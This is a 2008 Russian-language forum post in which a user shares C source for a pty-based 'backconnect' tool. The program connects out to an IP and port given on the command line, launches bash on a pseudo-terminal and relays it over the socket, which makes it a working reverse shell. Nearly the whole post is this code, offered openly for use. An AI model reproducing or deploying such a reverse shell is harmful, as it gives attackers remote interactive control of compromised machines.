pty backconnect

Discussion in 'Безопасность и Анонимность' started by Ky3bMu4, 22 Mar 2008.

  1. Ky3bMu4

    Ky3bMu4 Elder - Старейшина

    Joined:
    3 Feb 2007
    Messages:
    487
    Likes Received:
    284
    Reputations:
    42
    В общем, на днях разбирался с псевдотерминальным устройством, от нечего делать написал(опять "release" от кузьмича :D ) backconnect через pty. Исходники bindshell`а от ZaCo я видел, но всё же страрался писать сам.

    Code:
    #include<stdio.h>
    #include<stdlib.h>
    #include<netinet/in.h>
    #include<sys/types.h>
    #include<sys/socket.h>
    #include <utmp.h>
    #include <termios.h>
    #include <signal.h>
    
    pid_t pty_pid;
    
    void set_attrib(int fd){
    
    	struct termios tmp;
    
    	if(tcgetattr(fd, &tmp)<0) return;
    
    	cfmakeraw(&tmp);
    
    	tmp.c_iflag|=ICRNL|IXON|IGNCR;
    
     	tcsetattr(fd,TCSANOW,&tmp);
    
    }
    
    void term(int sd){
    
    	kill(pty_pid,SIGKILL);
    	printf("Удачи!\r\n");
    	kill(0,SIGKILL);
    }
    
    int main(int argc , char *argv[])
    {
    	int sock,m_pty,s_pty,hread;
    	fd_set fds;
    	pid_t sh_pid;
    	struct sockaddr_in addr;
    	char buf[1024];
    
    
    	if (argc != 3)
    	{
    		printf("Use: %s ip  port\n",argv[0]);
    		exit(0);
    	}
    
    	addr.sin_family = AF_INET ;
    	addr.sin_port = htons(atoi(argv[2]));
    
    	if (inet_aton(argv[1] , &addr.sin_addr) == 0)
    	{
    		perror("Invaild ip-address");
    		exit -1;
    	}
    		
    	
    	if ((sock = socket(PF_INET , SOCK_STREAM , 0)) < 0)
    	{
    		perror("Can`t create socket"); 
    		exit -1;
    	}
    	
    	if((sh_pid = fork()) == -1)
    	{
    		perror("Can`t create new process");
    		exit -1;
    	}
    	else if (sh_pid == 0)
    	{
    		
    
    		if(connect(sock , (struct sockaddr*)&addr , sizeof(addr)) == -1)
    		{
    			perror("Connection error");
    			exit -1;
    		}
    
    		openpty(&m_pty,&s_pty,0,0,0);
    		set_attrib(s_pty);
    
    		pty_pid=fork();
    			
    		if(pty_pid==0){ 
    		
    			close(m_pty);
    
      			login_tty(s_pty);	
    			execlp("bash","bash",0);
    			exit(0);
    
    		}else if(pty_pid==-1){
    
    			perror("Cannot open pty");
    			exit -1;
    		}
    		
    
    		signal(SIGINT,term);
      		signal(SIGALRM,term);
     		signal(SIGQUIT,term);
     		signal(SIGTERM,term);
    
    		close(s_pty);
    
    		for(;;)
    		{
    
    			FD_ZERO (&fds); 
    			FD_SET (m_pty, &fds);
    			FD_SET(sock,&fds);
    
    			if(select (FD_SETSIZE, &fds, NULL, NULL, NULL) < 0) break;
    
    				if (FD_ISSET (m_pty, &fds)) 
    				{ 
    
    					hread=read(m_pty, buf, 1024);
    					if( (hread<0) || (write(sock,buf,hread)<0)) break;	
    						
    				}
    
    				if (FD_ISSET (sock, &fds)) 
    				{ 
    
    					hread=read(sock,buf,1024);
    					if( (hread<0) || (write(m_pty, buf, hread)<0)) break;
    					
    
    				}
    			
    		}
    		close(sock);
    		close(m_pty);
    	}	
    
    
    	exit(0);
    } 
    
     
    1 person likes this.